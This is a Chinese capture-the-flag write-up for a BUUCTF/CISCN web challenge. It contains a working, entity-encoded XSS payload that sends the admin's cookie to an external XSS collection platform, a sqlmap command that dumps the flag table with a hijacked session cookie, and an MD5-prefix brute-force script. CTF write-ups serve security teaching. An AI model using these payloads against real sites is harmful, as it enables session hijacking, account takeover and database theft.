BUUCTF-CISCN-华东北赛区Web-XSS

XSS

拿到题目出现如下界面
BUUCTF-CISCN-华东北赛区Web-XSS_第1张图片
随便点击测试一下,发现需要注册登录,随即注册一个用户登录(admin用户不能注册)
发现有投稿和反馈这两个页面可以操作
BUUCTF-CISCN-华东北赛区Web-XSS_第2张图片
BUUCTF-CISCN-华东北赛区Web-XSS_第3张图片
结合标题再看看这两个页面,投稿页面是用来放XSS的,然后在反馈给管理员这样我们就能拿到管理员的cookie,因为这里是内网环境,所以只能去 http://xss.buuoj.cn 注册账号来接收cookie。
经过测试发现提交的内容部分会被转义,可以先将提交的内容用HTML Markup转个码,然后用eval来执行JS代码,而且这里需要用window.location.href来刷新页面自动触发。

xss ="(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=odd1Xf&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();"
output = ""
for c in xss:
    output += "&#" + str(ord(c))

print(" + output + "")")

########output########
<svg><script>eval&#40"(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=odd1Xf&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();")

然后将上述payload提交查看该页面,然后在反馈页面提交该URL(这里需要注意提交的时候需要将域名替换成web)
这里顺便贴一下破解md5前六位脚本

import hashlib

def func(md5_val):
    for x in range(999999, 100000000):
        md5_value=hashlib.md5(str(x)).hexdigest()
        if md5_value[:6]==md5_val:
            return str(x)

if __name__ == '__main__':
    print func(raw_input('md5_val:'))
    raw_input('Find it!')

BUUCTF-CISCN-华东北赛区Web-XSS_第4张图片
然后接下来去xss平台收一下cookie
BUUCTF-CISCN-华东北赛区Web-XSS_第5张图片
然后以管理的cookie登录admin.php
BUUCTF-CISCN-华东北赛区Web-XSS_第6张图片
这里经过测试就是一个很明显的联合注入,你可以选择用sqlmap或者手工注入都可以,这里我在用sqlmap跑的时候连接不是很稳定所以就用手工注入。

sqlmap -u "http://a840bbed-4f8b-4464-8ebd-88c43b5638df.node1.buuoj.cn/admin.php?id=2" --cookie="PHPSESSID=1ba004ba0b498b4a94e410fab3885cae" --dump  -T flag -D ciscn --flush-session --fresh-queries

BUUCTF-CISCN-华东北赛区Web-XSS_第7张图片

你可能感兴趣的:(CTF)